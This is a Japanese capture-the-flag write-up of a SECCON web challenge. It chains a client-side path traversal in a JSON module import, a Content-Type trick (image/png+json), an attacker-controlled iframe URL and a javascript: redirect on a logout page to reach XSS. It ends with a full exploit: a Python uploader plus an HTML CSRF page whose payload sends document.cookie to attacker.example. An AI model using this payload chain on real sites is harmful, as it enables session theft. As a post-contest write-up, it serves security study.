ここでクエリパラメータの id../../images/(ファイルのID) のようにすれば、await import('/images/(ファイルのID)') 相当の挙動をとり、Client-Side Path Traversalができるのではないかと考える。が、そう簡単にはいかない。第2引数の { with: { type: "json" } } で、返ってきたレスポンスがJSONであるかどうかをチェックしているためだ。こいつは Content-Type も検証しており、ただ内容をJSONっぽくするだけではダメだ。

<body>
  <div class="post-container">
    <h1 id="title">Loading...</h1>
    <div class="description" id="description"></div>
    <iframe id="imageFrame" credentialless></iframe>
  </div>

  <script type="module">
    const params = new URLSearchParams(location.search);
    const postId = params.get('id');

    if (!postId) {
      document.getElementById('title').textContent = 'No post ID provided';
      document.getElementById('title').className = 'error';
    } else {
      try {
        const postData = await import(`/api/posts/${postId}`, { with: { type: "json" } });

        document.getElementById('title').textContent = postData.default.title;
        document.getElementById('description').textContent = postData.default.description;

        const imageUrl = `${location.origin}${postData.default.image_url}`;
        document.getElementById('imageFrame').src = imageUrl;
      } catch (error) {
        document.getElementById('title').textContent = 'Error loading post';
        document.getElementById('title').className = 'error';
        document.getElementById('description').textContent = error.message;
      }
    }
  </script>
</body>

JSONでないものをこのClient-Side Path Traversalで強引に読み込ませたメッセージを手がかりとして、Chromiumのソースコードを漁り、この with の指定によってどのような Content-Type 等の検証が行われているか確認することにした。すると、次のように面白い発見があった。

ファイルアップロード時に image/png+json という Content-Type を投げてみると、これが通った。画像の取得時にもちゃんとこの Content-Type が返ってくる。Client-Side Path Traversalと組み合わせられそうだ。

{"image_url":".attacker.example/aaa.php"} というようなJSONを、image/png+json という Content-Type でアップロードする。そして、/posts/?id=../../images/(ファイルのID) にアクセスしてみる。エラーが発生することなく、iframe の表示まで進む。

このとき、iframe で表示されるリソースのURLは ${location.origin}${postData.default.image_url} のようにして組み立てられると述べた。location.originhttp://app.example のようにスラッシュでは終わらない。したがって、この場合では http://app.example.attacker.example/aaa.php が表示されてしまう。これで、DNSさえ適切に設定すれば好きなページを iframe で表示できるようになった。

XSSはどこにある?

ある程度自由になったとはいえ、問題サーバのコンテキストでJavaScriptが実行できなければ、つまりXSSに持ち込めなければ意味がない。RustFSにCSRFしてHTMLがアップロードできるかどうかは試していないが、できたとしても、/images/:id のCSPが邪魔してくるだろう。ほかの、問題サーバに生えているエンドポイントでXSSはできないか。

コードを眺めていると、POST /logout(GETは対応しておらず、POSTのみだ)のログアウト処理が気になった。logout.html というテンプレートについて、post_idfallback_url を置換して返している。HTMLではどのような処理をするのだろう。

app.post('/logout', requireAuth, (req, res) => {
  const sessionId = req.cookies.session;
  sessions.delete(sessionId);
  res.clearCookie('session');

  const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
  const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';

  const logoutPage = path.join(__dirname, 'public', 'logout.html');
  const logoutPageContent = fs.readFileSync(logoutPage, 'utf-8')
    .replace('<POST_ID>', encodeURIComponent(post_id))
    .replace('<FALLBACK_URL>', encodeURIComponent(fallback_url));

  res.send(logoutPageContent);
});

logout.html の主要な処理は次の通り。まず post_id へのリダイレクトを試みて、5秒間リダイレクトされなければ、代わりに fallback_url へのリダイレクトが行われる。これだ。

post_idfallback_urlencodeURIComponent によるエンコードは行われるけれども、たとえば http://https:// から始まっているかのチェック等は行われない。したがって、post_id …は /posts/?id=${postId} のように展開されており自由がないので置いておいて、fallback_url であれば javascript:alert(123) のように javascript: スキームを設定しておくことで、XSSに持ち込めるのではないか。/images/:id 以外ではCSPヘッダは設定されていないので、その処理にたどり着ければXSSできる。

<body>
  <div class="container">
    <div class="checkmark"></div>
    <h1>Logout successful!</h1>
    <p class="message">Redirecting you back...</p>
  </div>
  <script>
    setTimeout(() => {
      const fallbackUrl = decodeURIComponent("<FALLBACK_URL>");
      if(!fallbackUrl) {
        location.href = "/";
        return;
      }
      location.href = fallbackUrl;
    }, 5000);
    const postId = decodeURIComponent("<POST_ID>");
    location.href = postId ? `/posts/?id=${postId}` : "/";
  </script>
</body>

ただし、ページの表示時にまず location.href = postId ? `/posts/?id=${postId}` : "/"; でリダイレクトされてしまうのがやっかいだ。post_id がクエリパラメータとして挿入されているから、変な文字列を入れたとしてもなかなかリダイレクトを阻止できない。ということで、この location.href によるリダイレクトを止める方法を見つけたい

location.href によるリダイレクトを阻止できなかった

十数時間ほどかけて色々試したけれども、競技時間内にはその方法を見つけることができなかった。まず考えたのは encodeURIComponentdecodeURIComponent が非対称になっていればうれしいということ。つまり、const postId = decodeURIComponent("<POST_ID>"); のデコードで例外を発生させられれば、その直後の location.href が実行されないのではないかと考えた。残念ながら、雑にlone surrogatesだとか、% だけだとか、そのまま引数として渡されれば例外が発生するような文字列を与えてもびくともしなかった。encodeURIComponent が事前に噛まされているせいで、何も不穏なことが起こらない。

次のように post_idfallback_urllength がチェックされている。文字列であることが期待されているのだろうけれども、今回は app.use(express.urlencoded({ extended: true }));application/x-www-form-urlencoded が投げられた場合でも post_id[] のようなキーにすることで配列を入れられる。これで型周りで変なことができないかと考えたが、たしかに length のチェックはこれでバイパスできるけれども、結局 encodeURIComponent では強制的に文字列に変換されるし、それもサーバ側の話なので面白くない。また、投げるパラメータを長くすることで431エラー等を起こせるものの、起こしたところで活用方法が思いつかなかった。

  const post_id = req.body.post_id?.length <= 128 ? req.body.post_id : '';
  const fallback_url = req.body.fallback_url?.length <= 128 ? req.body.fallback_url : '';

ほか、いろいろ試して、今回は適用できないもののほかのシチュエーションであれば使えるような面白い挙動もいくつか見つけたが、作問ネタになりそうなのでここでは紹介しない(๑•̀ᴗ- )✩


競技終了後にDiscordサーバを眺めていると、location.href = '/pages/?id=<\n' でリダイレクトが発生しないという情報を見かけた。そんなバカなと思ったが、次のようなexploitを実行することでフラグが得られた。これはDangling Markup Injectionを緩和するために導入された対策によるものっぽい。

exp.py (実行することで、不思議なJSONをアップロードし、そのIDを得られる)

import uuid
import httpx
from io import BytesIO

TARGET = 'http://(省略)'

with httpx.Client(base_url=TARGET) as client:
    client.get('/')
    u, p = str(uuid.uuid4()), str(uuid.uuid4())

    client.post('/register', json={
        'username': u,
        'password': p
    })
    r = client.post('/login', json={
        'username': u,
        'password': p
    })
    print('login: ', r.text)

    json_payload = '{"image_url":".attacker.example:8000/exp.html"}'

    files = {
        'image': ('exploit.json', BytesIO(json_payload.encode()), 'image/png+json'),
    }

    r = client.post('/upload', files=files, data={
        'title': 'aaa',
        'description': 'bbb'
    })
    id = r.json()['id']
    print(f'check: {TARGET}/posts/?id=../../images/{id}')
    print(f'id: ../../images/{id}')

exp.html (適当なWebサーバでホスト。exp.py で表示されたファイルを閲覧すると、これが iframe で表示される)

<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://web/logout" id="form">
    <textarea name="post_id" id="post_id"></textarea>
    <input name="fallback_url" id="fallback_url" type="text">
    <input type="submit">
</form>

<script>
async function exploit() {
    document.getElementById('post_id').value = '<\n';
    document.getElementById('fallback_url').value = 'javascript:window.open([`//attacker.example:8000/flag?`,document.cookie].toString())';
    document.getElementById('form').submit();
}

exploit();
</script>
</body>
</html>

ほかにも、コネクションプールを枯渇させる等の解法があるらしい。

SECCON{why_c4nt_we_eat_the_d0nut_h0le}